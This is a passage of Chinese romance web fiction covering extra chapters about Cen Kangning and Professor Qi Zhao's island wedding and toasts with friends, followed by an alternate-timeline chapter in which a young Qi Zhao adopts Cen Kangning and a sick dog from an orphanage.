“钊哥想出去旅游吗?” “不是的。”祁钊回答。 "那你看这些介绍干嘛?" 96、番外五 “婚,婚礼?” 岑康宁惊得差点儿咬到舌尖,简直以为祁钊是不是偷窥他的脑子了。 但不可能。 这事儿他谁也没说过。 “不是说好不办了吗?”他下意识地脱口而出。 祁钊却并不反驳他,也不说那天在郭振齐敏敏婚礼上看到岑康宁失落的眼神,只淡定地说: “我想办。” 话音落下的瞬间,岑康宁听到自己的内心仿佛有一个小人在欢呼雀跃。 太好了!现在可是祁钊主动提出来的。那可就不能怪他多变了。 这样想着,岑康宁的脸上却也还是露出一个“勉强”的表情来,故作为难地说:“啊,不是都说好了吗?你怎么忽然又要变。”可若是仔细观察便会发现。这“勉强”的表情实在是太勉强了。 虽然很勉强地表示出抗拒的情绪,可是眉眼是弯的,眼睛里是亮的,小梨涡不一会儿就控制不住地要冒出来。 浅浅一个小涡里。承载了多到快要溢出来的喜悦。 祁钊将这一切看在眼里,并不戳穿,只觉得可爱,于是忍住不住地将人紧紧抱在怀里,戳着脸颊上那个调皮的小梨涡,问: "喜欢哪里?" 而岑康宁也终于可以放下自己这一周以来的耿耿于怀,非常“纡尊降贵”地勉强同意满足一下祁钊的期待,开始对祁教授找到的一些适合结婚的场所进行指指点点:“这里也太远了吧,我不想飞跃整个太平洋去结婚!” “好的,排除。” “这个也不行,热带岛屿想想就蚊虫很多,我是O型血,很招蚊虫的。” “好,不去。”“这个太冷……” 岑康宁对着一种风景如画的全球度假胜地挑挑拣拣,最后承认,其实他就是不想跑太远。 而且其实婚礼的场所并不算特别重要。敏敏姐的婚礼就在A市内一家酒店的草坪边上办的,不是也很好吗? 他已经完全忘记了自己“并不想办婚礼”这个人设,此刻正整个人挂在祁钊的身上,搂着老公的脖子撒娇: “我们就在A市办吧,好不好?” “老公我想在A市,不想出门坐飞机,而且在A市还能把我室友振哥他们全都叫过来,不好吗?” "A市,A市,A市!" 对话到了后来已经完全不可以说是撒娇,简直能称得上威逼利诱。好在祁钊本人对场所其实也不算特别在意。 老婆都肯点头办婚礼了。肯定是要依老婆的想法来。 不过,有一点他需要补充说明:“就算在其他地方,你的朋友们也都可以正常参加。” 岑康宁面露茫然:“报销机酒?不会有点麻烦吗?” “不会,直接包机。” “……岑康宁再度被祁钊的雄厚财力感到震撼,并又一次地对他提出质疑:“老公,你这么有钱,真的没有贪污公款吗?”祁钊瞥他一眼,重重捏了下他的脸:“在你眼里我赚钱很难?”岑康宁想了想自己手里至今还在升值的各类股票跟投资,实话实说:“不难。” “不过还是觉得我们节省点比较好。” 岑康宁掰着手指一笔一笔地算:“结婚开销很大的,要场地,酒店,还要各种布置,请主持人,哦对,还要准备席面。钊哥你不知道吧,其实大家去参加婚礼,最关心的就是席面。所以到时候我们俩的婚礼,别的可以不行,但席面一定要好吃!" “我知道。” 祁钊说:“但这些都不需要你操心。”"我不操心谁操心?你的钱不都在我这里?" 祁钊想了想,最终还是打开手机,给他看了一条几天前的消息。 大约是三天前吧。 祁未言发消息过来“关心”儿子。 自从他找岑康宁谈过话以后,就时不时地发来这样的消息。 虽然日常没什么回应。 但他一直很坚持。 于是这天,在微信上说了一些不知所谓的话以后,本以为这段对话就要像从前一样以祁钊的敷衍回应结束了。 结果这一次,祁钊给他主动回复了消息。 “我们打算办婚礼了。” 祁未言一开始很怔,后来反应过来了,立刻说:“好啊好啊,打算什么时候,在哪里?” 祁钊这才说:“没打算邀请你。” 祁未言:“……” “没打算邀请你告诉我干什么?” “通知一声。” “哦。” 祁未言那边儿显然是被儿子冷淡的态度伤了心,沉默了好一会儿,才发了哦字过来。岑康宁看到这个“哦”字的时候都以为对话要结束了,结果又过了许久。 祁未言说:“办好点儿,给你打了笔钱。你们结婚的时候我没出力,算是我这个不称职父亲的一点心意。” 岑康宁登时惊了,问祁钊:"打了多钱?" “不多,一百万吧。”祁钊语气平淡地说。 “很多了。”岑康宁认真反驳道。一百万够普通人办多少场婚礼了。 就算是他们想办一场很豪华很豪华的,也完全够用。难怪祁钊这么大手笔的说要包机。祁钊又捏捏他的脸:“一百万是办婚礼的钱,还有一百万是给你的。” 岑康宁:“?” 又是他的? 不久前才刚刚拿到黄家送回来的五十万彩礼的岑康宁感到自己快要不认识钱了。 只是结个婚而已。怎么搞的他跟中彩票了一样? 祁钊说:“钱是昨天到的,我准备分批打给你。” 岑康宁眨巴眨巴桃花眼,一时还有点儿不好意思:“我收是不是不太好?” “有什么不好,应该的。”祁钊一句话把岑康宁的扭捏挡了回去。 于是某人的小荷包里又鼓了起来,这下子在挑选婚礼场地的时候,忽然就变得豪气许多起来。 "就定在这个小海岛吧,距离不远,飞机两个小时能到。风景漂亮,有白色的沙滩可以度假,到时候请他们过来可以顺带好好玩一玩。"祁钊对此没有丝毫意见,并且行动力超群地,立刻去联系了海岛当地的度假酒店咨询筹办婚礼事宜。 事情便被这么定下来。婚期很快被敲定在一个月后。 时间很紧张,因此祁钊找到了婚礼策划公司帮助两人共同筹备。 不过策划公司只是帮忙。 有关这场婚礼的一切基本上都是由夫夫俩自己出主意。 比如说婚礼现场的风格。 岑康宁想要很童话乐园的小动物风格,祁钊则更喜欢宇宙星空的风格。 于是两人一商量。干脆做出一个宇宙动物园的主题。 婚策师拿到方案以后惊叹,自己策划过那么多婚礼,见过那么多的风格,但还是第一次见到如此标新立异的风格。而且标新立异也就算了。这份策划书竟然做得如此完美。 他根本都不需要再添加什么,只需要照着执行就是。 当然后来他才得知原来两位新人都是大学老师,其中一个还是知名教授,这才解除了心中困惑。 而在婚礼主题确定好后。接下来便是婚礼的规模问题。 该邀请谁?谁可以出席?这些都是举办一场婚礼应该考虑到的问题。岑康宁一直觉得自己挺孤单的。尤其是跟黄家彻底撇清关系以后。有时候他会觉得他跟这个世界的连接其实很少,好像只剩下了一个祁钊一样。 直到他开始准备邀请好友参加自己的婚礼。 316的舍友们。以前初高中关系还不错目前还有联系的同学。兼职时偶然认识的好友。振哥敏姐,还有图书馆一起工作的玉姐。 不打电话不知道。一打电话才发现,原来他其实一点儿都不孤独。 在他的身边,原来一直都有很多人关心着他,在接到他的邀请后,立刻二话不说,决定要来参加他的婚礼。 岑康宁感到十分庆幸的同时,心里也涌现出丝丝的幸福感。因为拥有这么多的朋友而幸福。也因为朋友们都可以来见证他的婚礼而幸福。 当然,对每一个能来参加婚礼的朋友,就像之前跟祁钊商量好的一样,他负责了所有机票与酒店的费用,还给每个人都准备了一份伴手礼。岑康宁这边儿把人确定好的同时。祁钊也确定的差不多了。 祁钊的亲友团也要比他想象中的多一些。 其实一开始祁钊并不想告诉那么多人,只想安静低调地跟岑康宁过两人时间。 但谁知有一天孔宇真从岑康宁那边得知了消息。然后很大嘴巴的孔博士就把祁钊要办婚礼的事情宣扬的满世界都是。 以至于那段时间几乎天天祁钊都遭到骚扰。 最后没办法。他也被迫发出了很多请柬出去。 导致的结果就是原本两人以为的20人小型婚礼规模,一下子扩张到了一百人。 虽然跟寻常人动辄二三百人的婚宴还是没法比。但也确实是一个相当令人出乎意料的规模。 岑康宁现在倒是不担心婚礼现场会比较冷清了,转为担心另一件事,把这些人忽然聚在一起,会不会太热闹了点儿?尤其是大学宿舍那些哥们他可是很了解的。一个比一个闹腾。 不过他后来又想,算了,闹就闹吧,他这辈子大概率也就这一次婚礼,好朋友们闹也就闹这么一回。 毕业以后大家都很忙。 见面的机会也少,有这样一个机会把大家聚在一起也不容易。 而且人多了还有另一个好处。意味着岑康宁可以最大限度的见识到祁钊的朋友圈。 虽然只是匆匆一瞥。 可岑康宁也会觉得自己更了解祁钊了一点儿。 同样的,他也可以将自己的好朋友介绍给祁钊。 这样一想,难道不是会很幸福吗? 于是岑康宁就完全不担心吵闹的问题了,反而是去非常细致地又跟酒店沟通,务必要在那几天里把所有的来宾都招待的宾至如归。而在邀请好所有来参加的宾客以后。基本上婚期也已经近在咫尺。 婚庆公司发来了现场预览,相关场地上的一些装饰已经提前被送到了小岛上。 各式各样的小动物玩偶。 模拟宇宙星空的全息投影设备,在工作人员们的悉心安排下全部就位完毕。 此时距离宇宙动物园开业只剩下最后三天时间。 一切都准备就绪了,即将飞往小海岛上的岑康宁却忽然担心起最后一个问题: “钊哥,你说你到时候会不会在婚礼上像振哥一样哭的特别伤心?” 祁钊还没来得及回答。 岑康宁便自顾自道:“还是别了吧,那样很丑的,我实在有点儿想象不出你哭成那样的画面。” “………” “要不我还是跟孔博说一声,把那个发言环节取消掉,我觉得咱俩的婚礼不要那么煽情,就很轻松的举行完一个仪式,交换戒指怎么样?” “不好。”在筹备婚礼的这一个月中。祁钊第一次对岑康宁提出反对意见。 岑康宁不太满意:“为什么不好?”祁钊很认真地说:“宝宝,我要发言。” 岑康宁说:"那你到时候要是哭了怎么办?我可不会哄你。" 祁钊想了想,自己应该不至于会哭。 虽然那时的场景应该会非常感动。但祁钊本身就不是那种情绪波动很大的人,就算有情绪,他也完全能控制地住自己的表情。 所以他认为自己哭的可能性应该不大。反倒是岑康宁….…. “我肯定是不会哭的,我从小到大都不喜欢哭,情绪控制能力特别好。就是你吧……唉。” 岑康宁说着说着叹了口气,过了一会儿后,又很无奈很宠溺地将祁钊的脑袋往自己身上一按,说: "算了没关系,到时候你想哭就哭吧,我哄你。" 岑康宁已经在脑海中计划好了整个环节。 到时候祁钊肯定是会哭的。 他哭的话,自己就哄哄他呗。 大不了丢丢脸,跟所有来宾道道歉,就像当时敏姐拉着振哥给大家道歉一样。 两人都结婚了。岑康宁应该要学会更包容祁钊一些。 岑康宁想通了这一点后,就没有再阻拦祁钊在婚礼上发言。甚至为了这个计划能够顺利进行,他默默地给结婚那天穿的西装口袋里多装了两条手帕,左右口袋各一条。岑康宁都想好了。等祁钊一哭,他就把手帕掏出来给他擦眼泪,擦完了再拉着他道歉。 但等到了真正结婚的那一天。岑康宁没想到的是,他准备好的手帕的确是用上了。 可惜,没用到祁钊身上。用在了他自己身上。 当他精挑细选的婚礼BGM于耳畔响起,全场宾客掌声雷动,他被台上的主持人孔宇真催促走上台前。 周遭灯光暗了下来,宇宙的全息投影打在整个礼堂中央;星光点点,各式各样的小动物萦绕其中,探出自己毛茸茸的小脑袋。 隔着一整个银河系。 他遥遥望向祁钊,发现一身白色西装的祁钊正步伐坚定朝自己走来的时候。 那个瞬间,岑康宁眼眶蓦地一红,完全没能控制得住自己的眼泪。 下一秒他哭的简直比那天的郭振还要惨。 97、番外六 岑康宁真没想过自己会哭。 毕竟正如他所说,从前他一直是个很不爱哭的小孩儿。 过去二十三年间,遇到了很多很多的不公正的待遇,很多很多差点以为没办法克服的困难。 那些黑暗里的时光仿佛就还在昨天。但岑康宁一次都没有哭过。 甚至当他跟黄家摊牌的那一天,他也完全可以保持着冷静。 然而此时此刻。不知怎的,泪腺好像完全无法控制一般。眼泪像断了线的珠子一样坠落了下来。 他想到自己跟祁钊相识的这一年,想到这一年里两人相处的点点滴滴,想到自己曾经拥有过那么多快乐的时光,又想到某些瞬间,有可能他将要失去祁钊。种种情绪百感交集。此刻他终于可以理解一个月前的振哥。 ——真不是振哥故意要在婚礼上出丑的,而是情绪到了那里,完全没办法控制。 还好他口袋里提前带了两个手帕。此时派上了用场。 不过两个手帕根本不够用这回事便又是后话。但如果有可能的话。岑康宁希望把所有人的这一段记忆统统删除。 在众人全新的记忆里,没有他丢脸的哭声,没有接下来因为他的哭泣变得非常难以进行的仪式。 只有海岛十分浪漫的风景。以及婚庆公司精心布置的婚礼。 可惜,这种愿望注定是无法成真了。 好不容易在祁钊的千哄万哄中,岑康宁止住了哭声,并且在卫生间里用冷水洗脸,冷静了下来。 在接下来的敬酒环节中。 岑康宁却反复地被cue到这件事。 首先就是他自己的亲友桌。 时隔一年,316宿舍的舍友们又团聚了,除了不讨喜的何明博以外,就连远在非洲的老大都为了这场婚礼特意赶了回来。老大整个人肉眼黑了一圈儿。坐在人群里格外显眼,简直要成了土生土长的非洲人一样,岑康宁差点都没认出来。 但老大的声音一如既往爽朗,性格也是一如既往的很爱操心,岑康宁跟祁钊刚一靠近,老大就喊出声来: "宁宁好点了吧?" 岑康宁眼眶还有些红,鼻头也有些酸,本来好不容易压抑下去的情绪在听到老大的询问以后差点又没忍住冒出来。不过能够时隔多日见到舍友们,他还是非常高兴的,于是很快破涕为笑: “嗯,好点儿了。” “那就行,刚刚你哭的吓死我了,差点以为祁教授对你不好,我们几个都商量着撸袖子跟他上去干架呢!” 舍长老大表情夸张地道。 “没错没错,老大真以为你受啥委屈了,还好我及时拦住了他。”左梓轩笑着在一旁说。 曹帅道:“不过你也别怪老大误会,毕竟这人现在在非洲呆了一年,整个人怎么说呢,脑子好像有点儿瓦特,被那边儿同化了。” "去你的老三,我啥时候被非洲人同化了,要我说你才是要被大厂同化了呢。" 老大撸起袖子声色具备地同岑康宁告起状来:“你还不知道吧?曹帅这小子,竟然偷偷摸摸想背着我们给你上比我们多一倍的礼金,你说这家伙,是不是被大厂腌入味了!"曹帅则恼羞成怒,闹了个大红脸,说:“你胡说什么,我分明就是记错了!” 老大:"哼,是不是记错你自己心里清楚。反正我是不可能允许我们之间出现这种叛徒的。" 众人笑作一团。岑康宁也笑得合不拢嘴。 仿佛回到了大学时光一样,只要有316这帮子人在,哪里都少不了开心。 最后岑康宁举起装着矿泉水的酒杯,同大家——碰杯。 “谢谢大家能来,真的!” “那必须来,咱宿舍第一个结婚的。” 左梓轩从容地拍了拍岑康宁的肩膀,朝他眨了下眼说:“我先来取取经,下次说不定就轮到我了,到时候我争取不哭,哭也不哭的像你一样难看。” "那必须。" 岑康宁哭笑不得地说:“到时候我们再聚,我把经验传授给你。” “好!再聚!” "宁宁永远幸福,316永不分离!" 欢声笑语中,岑康宁带着祁钊又来到了下一桌。 下一桌也是熟人。 不过大部分是祁钊的熟人。 桌上只有一个人岑康宁认识,就是李明玉。 于是在李明玉的带领下,一桌子的课题组成员异口同声:"123——师母好!" 当场把岑康宁就闹了个大红脸。 “不不,我不是……”"师母别害羞啦,都婚礼了才害羞是不是晚了点?"一个博士生打趣道。岑康宁脸于是变得更红。 李明玉道:“喂喂你们几个别过分,别一会儿把师母又给逗哭了,谁来负责啊?别忘了你们是沾谁的光才能来免费度假的。” 岑康宁:“……” 啊啊啊!他当时怎么就没忍住呢? 而这时不等他开口,另一个博士生开口笑道:“师母还记得我们第一次见面吗?在自助餐厅那一次?” 岑康宁隐约有点儿印象。但记得不算特别清楚。 “当时我们几个就说,完蛋了,钊哥这下要栽了,没想到一年以后确实栽了,栽到同一个人手里。”“是啊是啊,根本就没见过钊哥主动帮人解围的时候,果然不对劲。”在学生们你一言我一语的回忆下,岑康宁想起了那天。没记错的话那天是他们班毕业聚餐来着。结果在餐桌上他被造谣。还好祁钊及时出现。 不过解围是什么意思?他有点儿懵地看向祁钊:“你那天听到他们说什么了?” “听到的不多。”祁钊道。可岑康宁想,不多也是听到了。原来那天的真相是这样。 怪不得以祁钊的性格,当时竟然会主动出现在他的面前。岑康宁感到了然的同时,心里又多了一丝后知后觉的感动。 “原来从那时候就偷偷对我好了啊。” 离开课题组这一桌后,岑康宁故意说。 祁钊对此倒是没觉得有什么:“算好吗?不算吧。” 在他看来自己根本没有做什么。 只是及时出现撇清谣言而已。 岑康宁小声嘟哝:“算啊,当然算了,那会儿我还跟你不熟呢。”不过转念又一想。不对啊,当时他的确跟祁钊不熟。但祁钊可是早就暗恋上了。 一想到这里就觉得有点儿好笑,原来祁教授竟然偷偷暗恋自己了那么久,但他竟然一无所觉。笑意逐渐在唇角漾起。眉眼也弯成一道月牙。 岑康宁就这样笑着,来到了下一桌。 下一桌也是他的熟人。 是他兼职认识的小伙伴们,振哥也在其中。振哥跟敏敏姐甚至抱来了他们家一岁的小朋友,全家上阵给他的婚礼捧场。可在众小伙伴的祝福与寒暄过后。 终于轮到郭振碰杯的时候,振哥竟然打起了“一雪前耻”的主意,他拿出来自己的手机,点开方才录制的视频: "我要在此郑重声明,宁宁你哭的绝对比我那天还丢脸,这是我保留下来的证据!" 按下播放键的瞬间岑康宁甚至听到了自己丢脸的哭声。瞬间人麻了,立刻要伸手去抢郭振的手机。 但郭振显然早就有所察觉,一把将手机揣回兜里:“想都别想,以后你们结婚纪念,我可是每一年都要放给你们的。”岑康宁急得整个人有点儿冒烟儿:“不行振哥,你忘了是谁当年给你介绍的家教兼职吗?” 郭振轻哼一声:“但我可没忘是谁一个月前拍了我哭的动图然后信誓旦旦地说自己绝对不哭的。” 岑康宁:“……”所谓搬起石头砸自己的脚。大约说的就是岑康宁这种情况了。 但他仍没有放弃,想到自己还有另一个人可以依靠,于是拽着自家老公的袖子:“老公你评评理啊,你说振哥这样是不是很过分?” 祁钊板着一张冷酷的脸点头:“嗯,确实过分。” 岑康宁瞬间燃起希望:“那你说说他,让他把视频删了。” 祁钊看向郭振:“你怎么能不发我一份呢?” 岑康宁:“….…. 齐敏敏and在场的所有朋友:"哈哈哈哈哈!" 最后这一桌敬酒的结果就是郭振兴高采烈地加上了自己男神的微信,而祁钊惨遭岑康宁一个大大的白眼攻击,新婚夫夫感情好险没当场破裂。幸好下一桌及时拯救了祁教授的风评。 下一桌大部分是祁钊在斯坦福的同门,有比他年纪大很多的教授,也有跟他年纪相仿的博士,其中甚至有业内大名鼎鼎的诺奖得主。在从孔宇真口中得知了祁钊的婚期以后。大家都非常主动地从世界各地来参加了祁钊的婚宴。 而众人来参加婚宴的目的其实很简单,就是真的很好奇,像祁钊这样的人,能跟谁结婚? 答案揭晓以后很多人还是觉得不可思议。反复地用蹩脚的中文询问岑康宁。 “你是真的要嫁给他了吗?” “没有搞错什么地方吗?你确定是祁?” 岑康宁被问得心花怒放,勉强算是放过了祁钊刚刚要视频的行为。 而在一众肤色各异的人群中。其中一位约莫四十多岁,长相十分温柔的白人女教授对两人的婚姻感到尤其的震惊。 因为她在来到婚礼现场的第一眼,就认出了岑康宁。 “哦上帝,原来是你!” “当年那所医院里眼睛受伤的小孩子。” “我明白了,难怪当年祁连那么重要的会议都不参加了也要留在国内,原来如此。” 岑康宁一脸懵逼。根本没听懂这位女教授在说什么。 直到婚礼结束,祁钊告诉他:“史密斯教授就是当年带我回国参加医院义工项目的老师。” 岑康宁恍然大悟。 “是媒人啊。” 岑康宁笑着说。 祁钊也笑了下,算是认同这个观点。 的确,如果当初没有史密斯教授强烈建议,他是不可能来到国内,也不可能遇到岑康宁的。 "早知道是她,应该多敬她一杯的。" “这倒不必,美国没有这个讲究。” “说的也是,但还是很感谢她,能够将你送到我身边。”岑康宁笑着道。 祁钊说:"那更不至于,A市这么小,我想我只要回国,迟早有一天我们能够见面。" “见面然后呢?” “然后喜欢上你。”祁钊道。 岑康宁不太相信:“就这么肯定?万一我们俩第一次见面,我刚好那天心情特别差,而且熬夜很久有黑眼圈,皮肤也冒了痘痘,然后还在排队买咖啡的时候插了你的队呢?" 祁钊想了想那副画面:“还是喜欢你。” "?" “插队都这么可爱的人,很少见。” 后来岑康宁算是明白了,祁钊大约就是那种他出现以后打了他一巴掌,他也会认真问自己为什么奖励他的人。 遇到这种人了能怎么办?当然就只剩下嫁了。 这一嫁就是一辈子。 从今以后这一生不管遇到什么困难跟快乐,两人都手牵着手肩并着肩,一起笑着迎接。 (婚礼番外完)。 98、if线1 那一年的春天有些过分的冷。 雪还未消。又下起雨。 淅淅沥沥的雨从一大早开始就没停,福利院内,今年还不到六岁的岑康宁被窗外雨声所吵醒,打了个喷嚏,随后懵懵懂懂裹紧了身上的旧被子,顶着哭肿的眼睛继续睡了。不远处庭院中央。福利院的院长阿姨正在跟两个西装革履的男人讲话。 一个男人正拿着一份厚厚的文件翻阅,仿佛在挑选着什么,另一个面相斯文俊秀的男人则微笑着对院长阿姨说明自己的来意。 "这次来,我们医院除了兑现允诺给福利院的捐赠以外,我个人也有一个想法,想要在福利院里领养一个孩子,不知道有没有这个资格?" “当然有了,祁院长您说的这是什么话,能被您这样的家庭收养,是那些孩子上辈子修来的福分!” 院长说完,又生怕祁未言后悔一般,急忙地问:“就是不知道您希望领养一个什么样的孩子?” 祁未言迟疑了一番后道:“其实我是很喜欢女孩儿的,不过我家里有一个12岁的儿子,所以可能还是男孩儿照顾起来更方便一些。” "我懂我懂。" 院长马上非常懂眼色地问:“那祁院长想要多大的孩子?” “这个……” 祁未言想到什么,面露为难,始终没能说出一个准话来。这时他身边的下属建议道:“要不让小钊选吧?把他带过来,看他喜欢哪个弟弟。” “好主意。” 祁未言一下子就接受这个建议。 院长也同意这个看法。 于是一小时后,一个身高约莫一米六左右,身姿清瘦挺拔,长相精致的少年被带到了福利院。少年的神色看上去很冷淡。手中拿着一个pad,小小年纪鼻梁上已经挂着一副黑框眼镜,自带一种生人勿扰的气场。 显然,对于父亲没有提前预约就将自己带到这里。他感到十分不满。 不过虽然不满,在院长对他小心翼翼地说出请求后,他仍是点了点头。院长放下了一颗悬着的心。心想,这孩子虽然长得冷冰冰的点儿,心地倒是不坏,不是那种叛逆少年。 于是语气也不由得和蔼几分,给少年介绍道:“这些都是我们福利院里可以领养的小弟弟,你看看你喜欢哪一个。” 少年眉心微皱,将视线定格在院长手指向的方向。不大不小的院子里。挤挤攘攘排队坐着许多小孩儿。 都是小男生,从三岁到十岁的都有,大小不一的眼睛眼巴巴看着祁钊,眼神里全都写满了渴望。 院长阿姨显然也有些私心,给祁钊介绍道:“这个弟弟怎么样,他很聪明的,一直都是班上的第一名。” 一个七八岁的小孩儿仰起脑袋,渴望地看向祁钊。 祁钊沉默。 院长阿姨又说:“那这个弟弟呢,看他多乖巧啊,小小年纪就会洗衣服做饭,收拾家里也没问题。” 祁钊还没说话,他的身旁,早上那位出主意的经理笑着说:“院长您这话说的,祁董他领养孩子是想让小朋友们过上好日子,不是为了让孩子回家做苦力的。” "也是,也是。" 院长阿姨哂笑了笑,尴尬地搓了搓手指。 经理又道:“没事儿院长,让小钊自己选吧,他从小就比较有主意。”于是所有人的目光又都落在了祁钊身上。像是等待宣判一样,焦急地等待着自己的结局。一些年纪小的小朋友甚至等不及,焦急地哭出声来。 而就在众人这种灼然的目光中,年仅12岁的祁钊不紧不慢,冷静地将眼神——扫过众小孩儿,最终,将目光落在了最角落里一个看上去十分瘦小的孩子身上。 “他。”祁钊想也不想,随手伸出手点向小孩儿的方向。 那小孩儿显然是懵了。 没想到被领养这种事情竟然落在了自己身上。 一时根本没反应过来,呆呆愣愣地站在原地看着祁钊也不上前。 院长见了眉心一皱,说:“要不小钊再选选?”“他不能领养吗?” 经理问。 “倒不是不能。”院长面露为难,随后将经理拉到角落里,小声耳语道:“但这个小朋友命不太好,家里父母跟爷爷奶奶全去世了,我怕……” “都什么年代了,怎么还讲究这个。”经理一听是这个原因,立刻伸手示意院长不必再讲下去。 院长道:"要是这事儿被祁院长知道了,祁院长难道不会介意吗?" “这……”经理显然也有些拿不准,开始迟疑。 院长道:“还是换一个孩子吧。” 经理却决定打电话给祁未言:“我问问院长吧,如果院长不介意,那我们就直接办手续。” 说罢经理拿出手机,开始给祁未言打电话。 而此时的院子里。 大人们走后,却又是另一幅景象。 不少小朋友在院长阿姨离开以后立刻争先恐后地凑到祁钊面前,想要祁钊选择自己。 "哥哥,选我吧,我给你糖吃。""哥哥哥哥,选我吧,不要选他,他是笨蛋!""哥哥……" 一大帮子小孩儿围在祁钊身边,吵得他头疼,但出乎意料的是,最初被他选择的那个小男孩儿,却始终安安静静地站在角落里,并没有上前。跟其他小朋友相比,他的身上穿着明显不合身的宽大衣服。衣服已经非常旧了,而且脏兮兮。 一张不到巴掌大小的小脸上,却长着一双格外不协调的大眼睛。 眼珠子很黑。亮晶晶的,像是会说话一样。 不过胆子很小,当祁钊看向他的时候,他立刻就不好意思的低下脑袋,只留一个圆乎乎的后脑勺对着祁钊。 祁钊感觉到他似乎有话想说,于是让司机帮忙把身边吵闹的小朋友打发走,很罕见地主动走到他身边,问: “你想让我带你走吗?” 小孩儿显然没想到这个看上去又高又帅气的哥哥会主动接近自己,瘦小的身体已经完全僵住了,根本动弹不得,也说不出一句完整的话来。但似乎又想到什么,他攥紧小拳头,鼓足勇气下定了决心,抬起小脸来眼神坚定地看向祁钊: "哥哥,你能带小豆豆走吗?"“小豆豆?”“嗯,小豆豆。”小孩儿说。 说着小孩儿的表情开始变得着急,眼眶里也似乎氤氲起水汽,他揉着眼睛用带着哭腔的声音说:“小豆豆从前天开始不吃饭了,我害怕,呜呜……”“他在哪里?”祁钊立刻问道。 小孩儿像是终于抓到了一根救命稻草,很慌忙的带着祁钊去找小豆豆。很难想象这么小的一个小孩儿竟然可以跑那么快。祁钊也不得不加快脚步才能跟上他。 直到来到福利院鲜少有人问津的后院,小孩儿气喘吁吁地停下脚步,带祁钊来到小豆豆的身边。 “它就是小豆豆。” “是的。” 小孩儿努力地点着小脑袋,红着眼睛说:“它很乖的,跟你回家以后绝对不会乱叫咬你,哥哥你带它走好不好?”祁钊沉默了一秒,一秒后蹲下身来,仔细端详着眼前病恹恹有气无力的小狗。 是的。 豆豆是一只小狗。 一只体型很小的土黄色中华田园犬。 它看上去年纪已经不小了,胡子泛着斑白,眼神里也透着几分柔和与安详。 没什么攻击力。很聪明。 哪怕是第一次见到祁钊,它也并没有半点儿攻击祁钊的意思,反而是很友好地哼唧了几声,朝祁钊虚弱的甩了甩尾巴。而在它的嘴边。祁钊看到了很多食物。 有馒头,米饭,水果,甚至有一颗糖。 这些食物显然是有人每天按时按点放在它嘴边的,最大的可能就是这会儿正一直抚摸着小狗安慰它的小孩儿。 但显然,小豆豆没什么胃口。什么东西都没吃。 “它生病了,可能是狗瘟。”祁钊简单地查看了一番状况后,判断道。 小孩儿不懂狗瘟是什么,只知道应该是一种很厉害的病,整个人顿时慌乱起来:“狗瘟?严重吗?小豆豆会不会死?” “及时治疗的话,不会。”祁钊说。 小孩儿松了好大一口气,破涕为笑道:“真的吗?那太好了,哥哥。”但说完他又想到什么,非常紧张地摸着小狗的脑袋,看向祁钊,问: “哥哥,你能带小豆豆走吗?”“你希望我带它走吗?”祁钊问。 小孩儿使劲儿地点头,殷切道:“带它走吧,阿姨说它快要死了,让我们不要管它。可是我真的舍不得,小豆豆很乖的,它是这个世界上最聪明最好的小狗。”小孩儿仍记得。自己才来福利院的时候,因为是生面孔,被院子里所有的小朋友排斥。唯独只有小狗,热情的接纳了它。 小狗陪着他度过了最孤单难熬的第一个礼拜,他心里始终记着小狗的好。 所以如果真的有机会离开福利院。他希望能把这个机会让给小豆豆。 "呜——" 小孩儿手掌下的小狗听到这句话,仿佛有灵性一般地,用湿漉漉的鼻子拱了拱小孩儿的手。 小孩儿立马也开心地抱住小狗,说:“太好啦,豆豆你就要好起来了。” 见状。 祁钊忍不住问:“我带走它,但不带走你,也可以吗?” 小孩儿眨巴了一下大眼睛,很认真地,脆生生道:"可以。" “好。” 祁钊在沉默了一会儿后抱起小狗往外走。 小孩儿则紧紧地跟随在他身后,亦步亦趋。 此时院子里已经乱做一团,因为经理在打电话跟祁未言确认好领养人选没问题后,却忽然发现祁钊不见了,顿时急得像热锅上的蚂蚁。 急得就快要去调监控的时候。祁钊回来了。 不仅回来了,怀里还抱着一只病恹恹的狗,身后跟着刚刚那个被选中的小朋友。经理惊讶的问:“小钊,你这是在做什么?”祁钊抱着狗,意简言赅:“领养。” 经理松了口气,倒没在意祁钊怀里的狗,以祁钊的成熟程度,就算他想带回去一只狗也没什么。 经理只是问:“确定就是他了吗?” 祁钊点头,说:“确定。” 经理便也最终确定,跟院长交换了一个眼神,让祁钊先上车,准备跟院长去办手续。 而此时祁钊的身后。 岑康宁看着大哥哥抱着小豆豆转过身而去挺拔的背影,终于长舒一口气,松开了从刚刚开始就攥紧的小拳头。 其实,他刚刚撒谎了。他并不是不想跟大哥哥走。 福利院里的生活过得并不舒服,所有的小朋友都知道,只有被领养走才能过上好日子。 但比起自己能够过上好日子,他更希望小豆豆能过上好日子。 有一件事他没有告诉大哥哥。其实他偷听到院长阿姨跟一个叔叔聊天了。 阿姨说,要是小豆豆再不好起来,她就要把它卖了。卖去哪里没说,但岑康宁隐约能够感觉到,应该不会是什么好地方。 所以他决定把这个难得的机会让给小豆豆。 大哥哥看上去那么善良。一定会对小豆豆好的。 过不了多久小豆豆肯定能好起来,像从前一样健康快乐。 至于自己…… 岑康宁垂下脑袋,看着自己脏兮兮的手指甲盖心想,他没关系的。 饿肚子也没关系。他可以少吃几顿。没有新衣服穿也没关系。他穿旧衣服就好。 反正在大伯家的时候不也是过着这样的生活吗? 被福利院的哥哥姐姐们欺负也没关系,只要小豆豆可以过得快乐,他什么都愿意做。 只是……为什么他还是会想哭呢? 还不到六岁的岑康宁不懂为什么自己会伤心,只是咬着唇,使劲儿压抑住自己哭出来的冲动,告诉自己不要难过,要为小豆豆高兴。直到前方又传来大哥哥冷清好听的声音: “还不过来?” 99、if线2 岑康宁愣了一下,起先以为自己听错了。 大哥哥不是在叫自己。是在叫别的小朋友。 然而抬头一看才发现,原来不知什么时候,其他的小朋友因为没有了机会早就散开,院子里只剩下自己。 岑康宁不由得心一跳。 "大哥哥,你是在叫我吗?"“不是你还能是谁?”祁钊道。 岑康宁不可思议地睁大了黑葡萄一般的大眼睛,嘴巴也张大,半晌都合不拢。 可是……他不是把机会让给了小豆豆吗? 年幼的小孩儿站在原地一动不动。似乎是担心一动,就会从美梦中清醒。 而始终等不来小朋友跟上的少年终于不耐烦,脾气不怎么好地拧着眉心转身,一只手抱紧怀里的小狗,一只手拽住呆愣愣的小孩儿:“不要浪费我的时间。” 